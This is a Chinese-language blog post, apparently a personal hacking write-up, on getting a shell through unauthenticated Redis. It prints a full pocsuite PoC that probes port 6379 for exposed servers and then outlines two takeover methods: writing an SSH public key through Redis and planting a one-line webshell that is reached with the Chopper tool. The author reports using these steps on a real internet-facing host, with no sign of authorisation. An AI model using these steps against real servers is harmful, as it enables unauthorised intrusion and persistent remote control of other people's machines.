redis未授权访问getshell
redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂。今天借着工作的机会来搞一把,看看能不能拿下一台服务器。其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路。
首先redis未授权的漏洞有几个先决条件,自己搭建漏洞环境的话需要在配置文件redis.conf中修改
1、允许其他网段连接
2、关闭protected-mode
漏洞的发现可以批量跑POC,大概原理就是通过sock发带有info的payload给目标服务器,然后看返回的信息中有没有关键字。这里懒得写了,放一个网上找的pocsuite版的:
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 4 import socket 5 import urlparse 6 from pocsuite.poc import POCBase, Output 7 from pocsuite.utils import register 8 9 10 class TestPOC(POCBase): 11 vulID = '89339' 12 version = '1' 13 author = ['Anonymous'] 14 vulDate = '2015-10-26' 15 createDate = '2015-10-26' 16 updateDate = '2015-10-26' 17 references = ['http://sebug.net/vuldb/ssvid-89339'] 18 name = 'Redis 未授权访问 PoC' 19 appPowerLink = 'http://redis.io/' 20 appName = 'Redis' 21 appVersion = 'All' 22 vulType = 'Unauthorized access' 23 desc = ''' 24 redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。 25 ''' 26 samples = [''] 27 28 def _verify(self): 29 result = {} 30 payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 31 s = socket.socket() 32 socket.setdefaulttimeout(10) 33 try: 34 host = urlparse.urlparse(self.url).netloc 35 port = 6379 36 s.connect((host, port)) 37 s.send(payload) 38 recvdata = s.recv(1024) 39 if recvdata and 'redis_version' in recvdata: 40 result['VerifyInfo'] = {} 41 result['VerifyInfo']['URL'] = self.url 42 result['VerifyInfo']['Port'] = port 43 except: 44 pass 45 s.close() 46 return self.parse_attack(result) 47 48 def _attack(self): 49 return self._verify() 50 51 def parse_attack(self, result): 52 output = Output(self) 53 if result: 54 output.success(result) 55 else: 56 output.fail('Internet nothing returned') 57 return output 58 59 register(TestPOC)
实际测试时发现这么一台外网主机存在此问题
下面尝试getshell,通常的方法有如下几种:
1、写公钥
首先在本地生产公私钥文件:
$ssh-keygen –t rsa
然后将公钥写入文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt
再连接Redis写入文件,这里很不幸,连接后设置redis路径时提示了permission denied,看来不是root权限,这种方法的尝试失败
2、传webshell
用nmap扫出来开放了http80端口,看看是否能够写入一句话
菜刀是可以连接的
-done